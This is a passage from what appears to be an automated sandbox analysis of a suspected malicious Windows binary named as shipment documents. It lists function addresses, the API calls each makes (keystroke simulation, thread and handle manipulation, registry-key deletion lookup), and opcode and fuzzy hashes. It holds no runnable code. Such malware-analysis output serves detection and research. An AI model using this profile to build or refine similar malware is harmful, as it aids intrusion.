                                                                                                                                                                                                          • Instruction ID: 083f1b3d72dc2b4e3073d7627409da2efaae6cca9fbdfa2eb2c15b7cb2a145f7
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0d7b65c6ab38dbefdfd62d93c8bf275ac45e934a4136d591895be9c5171332a1
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4511E672501604EFC720AF76DC868DF7BA4EF80334F21412FF525922D1DB788981966D
                                                                                                                                                                                                          Function 00439102 Relevance: 10.5, APIs: 7, Instructions: 46threadCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00438FE4: GetProcessHeap.KERNEL32(00000008,0000000C,0043910A,00000000,00000000,00000000,0044646E,?,?,?), ref: 00438FE8
                                                                                                                                                                                                            • Part of subcall function 00438FE4: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FEF
                                                                                                                                                                                                          • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,0044646E,?,?,?), ref: 00439119
                                                                                                                                                                                                          • GetCurrentProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439123
                                                                                                                                                                                                          • DuplicateHandle.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0043912C
                                                                                                                                                                                                          • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00439138
                                                                                                                                                                                                          • GetCurrentProcess.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439142
                                                                                                                                                                                                          • DuplicateHandle.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00439145
                                                                                                                                                                                                          • CreateThread.KERNEL32(00000000,00000000,004390C2,00000000,00000000,00000000), ref: 0043915E
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1957940570-0
                                                                                                                                                                                                          • Opcode ID: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                                                                                                                                                                                                          • Instruction ID: b388a4287fabc35bf2088fa38ebc9459a42e34e8a642192e1b63b89709cb9be3
                                                                                                                                                                                                          • Opcode Fuzzy Hash: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 3BF0CD753413007BD220EB65DC86F5BB7A8EBC9B10F118919F6049B1D1C6B4A800CB65
                                                                                                                                                                                                          Function 0041568B Relevance: 10.5, APIs: 7, Instructions: 37threadCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • ___set_flsgetvalue.LIBCMT ref: 00415690
                                                                                                                                                                                                            • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                                                                            • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                                                            • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                                                                          • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                                                                                                                                                                                            • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                                                          • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                                                                                                                                                                                            • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                                                          • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                                                                                                                                                                                                          • ExitThread.KERNEL32 ref: 004156BD
                                                                                                                                                                                                          • __freefls@4.LIBCMT ref: 004156D9
                                                                                                                                                                                                          • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 4166825349-0
                                                                                                                                                                                                          • Opcode ID: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                                                                                                                                                                                                          • Instruction ID: 1015f584654e325efa3cacb901eba7c9ae2b5aefa54885f90b4e6d99173acdac
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 14F049745007009BD704BF72DD159DE7B69AF85345761C85FB80897222DA3DC9C1CB9C
                                                                                                                                                                                                          Function 00434124 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • LoadLibraryA.KERNEL32(advapi32.dll,p#D,0043415E,p#D,?,00442370,?), ref: 00434134
                                                                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00434146
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                          • String ID: RegDeleteKeyExW$advapi32.dll$p#D$p#D
                                                                                                                                                                                                          • API String ID: 2574300362-3261711971
                                                                                                                                                                                                          • Opcode ID: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                                                                                                                                                                                                          • Instruction ID: cb82693085896f9455b4638215a98dd7e3cb824177552166877179ce6000b7c2
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                                                                                                                                                                                                          • Instruction Fuzzy Hash: D8D05EB0400B039FCB105F24D8086AB76F4EB68700F208C2EF989A3750C7B8E8C0CB68
                                                                                                                                                                                                          Function 0047B1D0 Relevance: 9.5, APIs: 6, Instructions: 489COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                          • Opcode ID: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                                                                                                                                                                                                          • Instruction ID: be39947db1ffbcb7075193c31d102fc15fe4f6af8d23ce90efbce3d2b6a77a88
                                                                                                                                                                                                          • Opcode Fuzzy Hash: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4BF16D71108740AFD210DB59C880EABB7F9EFCA744F10891EF69983261D735AC45CBAA
                                                                                                                                                                                                          Function 004336C7 Relevance: 9.3, APIs: 6, Instructions: 253COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetClientRect.USER32(?,?), ref: 00433724
                                                                                                                                                                                                          • GetWindowRect.USER32(00000000,?), ref: 00433757
                                                                                                                                                                                                          • GetClientRect.USER32(0000001D,?), ref: 004337AC
                                                                                                                                                                                                          • GetSystemMetrics.USER32(0000000F), ref: 00433800
                                                                                                                                                                                                          • GetWindowRect.USER32(?,?), ref: 00433814
                                                                                                                                                                                                          • ScreenToClient.USER32(?,?), ref: 00433842
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Rect$Client$Window$MetricsScreenSystem
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3220332590-0
                                                                                                                                                                                                          • Opcode ID: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                                                                                                                                                                                                          • Instruction ID: 40e56d112be44df416332e5c874318f33691c6b0c201ea6c9f9086adb5117cf0
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E9A126B42147028AC324CF68C5847ABBBF1FF98715F04991EE9D983360E775E908CB5A
                                                                                                                                                                                                          Function 00457838 Relevance: 9.2, APIs: 6, Instructions: 176COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _malloc_wcslen$_strcat_wcscpy
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1612042205-0
                                                                                                                                                                                                          • Opcode ID: b8a3413a850b3e9d022a14bc02158d0a95917de16b2476bc53e0af5cb97ab780
                                                                                                                                                                                                          • Instruction ID: 39b6431fb86a1cae222df6ecce28f21653e085caad8de22f1e35678e4483a9b6
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b8a3413a850b3e9d022a14bc02158d0a95917de16b2476bc53e0af5cb97ab780
                                                                                                                                                                                                          • Instruction Fuzzy Hash: CD613B70504202EFCB10EF29D58096AB3E5FF48305B50496EF8859B306D738EE59DB9A
                                                                                                                                                                                                          Function 0044C522 Relevance: 9.2, APIs: 6, Instructions: 155windowkeyboardCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C588
                                                                                                                                                                                                          • SetKeyboardState.USER32(00000080), ref: 0044C59B
                                                                                                                                                                                                          • PostMessageW.USER32(?,00000104,?,?), ref: 0044C5EC
                                                                                                                                                                                                          • PostMessageW.USER32(?,00000100,?,?), ref: 0044C610
                                                                                                                                                                                                          • PostMessageW.USER32(?,00000102,?,00000001), ref: 0044C637
                                                                                                                                                                                                          • SendInput.USER32 ref: 0044C6E2
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessagePost$KeyboardState$InputSend
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2221674350-0
                                                                                                                                                                                                          • Opcode ID: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                                                                                                                                                                                                          • Instruction ID: 3a634557d1668dba9f4fbb3ffee1259adddcddb7f3fce46f2ce6721246940f3b
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                                                                                                                                                                                                          • Instruction Fuzzy Hash: A24148725053486AF760EF209C80BFFBB98EF95324F04151FFDC412281D66E984987BA
                                                                                                                                                                                                          Function 00445153 Relevance: 9.1, APIs: 6, Instructions: 142COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _wcscpy$_wcscat
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2037614760-0
                                                                                                                                                                                                          • Opcode ID: 43efba16cd806b31402fe34b2becc3a5af32a5b4a383a164d4ea5773e04486ac
                                                                                                                                                                                                          • Instruction ID: 871aa96d6b0d5f43eceffdadd72b032f7becd6ba50fbda5e2bca5dd503650597
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 43efba16cd806b31402fe34b2becc3a5af32a5b4a383a164d4ea5773e04486ac
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 7D41BD31901A256BDE317F55D880BBB7358DFA1314F84006FF98247313EA6E5892C6BE
                                                                                                                                                                                                          Function 00447B66 Relevance: 9.1, APIs: 6, Instructions: 119COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • BeginPaint.USER32(00000000,?,004A83D8,?), ref: 00447B9D
                                                                                                                                                                                                          • GetWindowRect.USER32(?,?), ref: 00447C1B
                                                                                                                                                                                                          • ScreenToClient.USER32(?,?), ref: 00447C39
                                                                                                                                                                                                          • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C4C
                                                                                                                                                                                                          • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447C93
                                                                                                                                                                                                          • EndPaint.USER32(?,?), ref: 00447CD1
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Paint$BeginClientRectRectangleScreenViewportWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 4189319755-0
                                                                                                                                                                                                          • Opcode ID: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
                                                                                                                                                                                                          • Instruction ID: de699fe3e67e71f806f86ee7feca1bcffcb0489daa19151882f3061068cc4b26
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
                                                                                                                                                                                                          • Instruction Fuzzy Hash: D14182705043019FE320DF15C8C8F7B7BA8EB89724F04466EF9548B391DB74A846CB69
                                                                                                                                                                                                          Function 0044B474 Relevance: 9.1, APIs: 6, Instructions: 113fileCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • InterlockedExchange.KERNEL32(?,000001F5), ref: 0044B490
                                                                                                                                                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                          • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B4C2
                                                                                                                                                                                                          • EnterCriticalSection.KERNEL32(00000000), ref: 0044B4E3
                                                                                                                                                                                                          • LeaveCriticalSection.KERNEL32(00000000), ref: 0044B5A0
                                                                                                                                                                                                          • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B5BB
                                                                                                                                                                                                            • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                                            • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                                            • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                                          • InterlockedExchange.KERNEL32(?,000001F6), ref: 0044B5D1
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CriticalExchangeFileInterlockedReadSection$EnterException@8LeaveThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1726766782-0
                                                                                                                                                                                                          • Opcode ID: d1f4c8b32701f3515452156a35d83f93081eba70680028f938022ee8972e20b1
                                                                                                                                                                                                          • Instruction ID: bf52b5dc2e344941501510e432fc863898df75637e45487ca8cd05157db66b41
                                                                                                                                                                                                          • Opcode Fuzzy Hash: d1f4c8b32701f3515452156a35d83f93081eba70680028f938022ee8972e20b1
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 09415C75104701AFD320EF26D845EABB3F8EF88708F008E2DF59A92650D774E945CB6A
                                                                                                                                                                                                          Function 00441077 Relevance: 9.1, APIs: 6, Instructions: 111windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 004410F9
                                                                                                                                                                                                          • EnableWindow.USER32(?,00000000), ref: 0044111A
                                                                                                                                                                                                          • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 00441183
                                                                                                                                                                                                          • ShowWindow.USER32(?,00000004,?,?,?,00448962,004A83D8,?,?), ref: 00441192
                                                                                                                                                                                                          • EnableWindow.USER32(?,00000001), ref: 004411B3
                                                                                                                                                                                                          • SendMessageW.USER32(?,0000130C,?,00000000), ref: 004411D5
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Window$Show$Enable$MessageSend
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 642888154-0
                                                                                                                                                                                                          • Opcode ID: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                                                                                                                                                                                                          • Instruction ID: 824eeaafe1f931a994963cd163acc5b0ce47b26168a6fd4ee38d593e4569daee
                                                                                                                                                                                                          • Opcode Fuzzy Hash: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 14417770604245DFE725CF14C984FA6B7E5BF89300F1886AEE6859B3B2CB74A881CB55
                                                                                                                                                                                                          Function 00449063 Relevance: 9.1, APIs: 6, Instructions: 108windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,00001024,00000000,?), ref: 004490E3
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004490F8
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,0000111E,00000000,?), ref: 0044910D
                                                                                                                                                                                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 00449124
                                                                                                                                                                                                          • GetWindowLongW.USER32(00000000,000000F0), ref: 0044912F
                                                                                                                                                                                                          • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0044913C
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$LongWindow$InvalidateRect
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1976402638-0
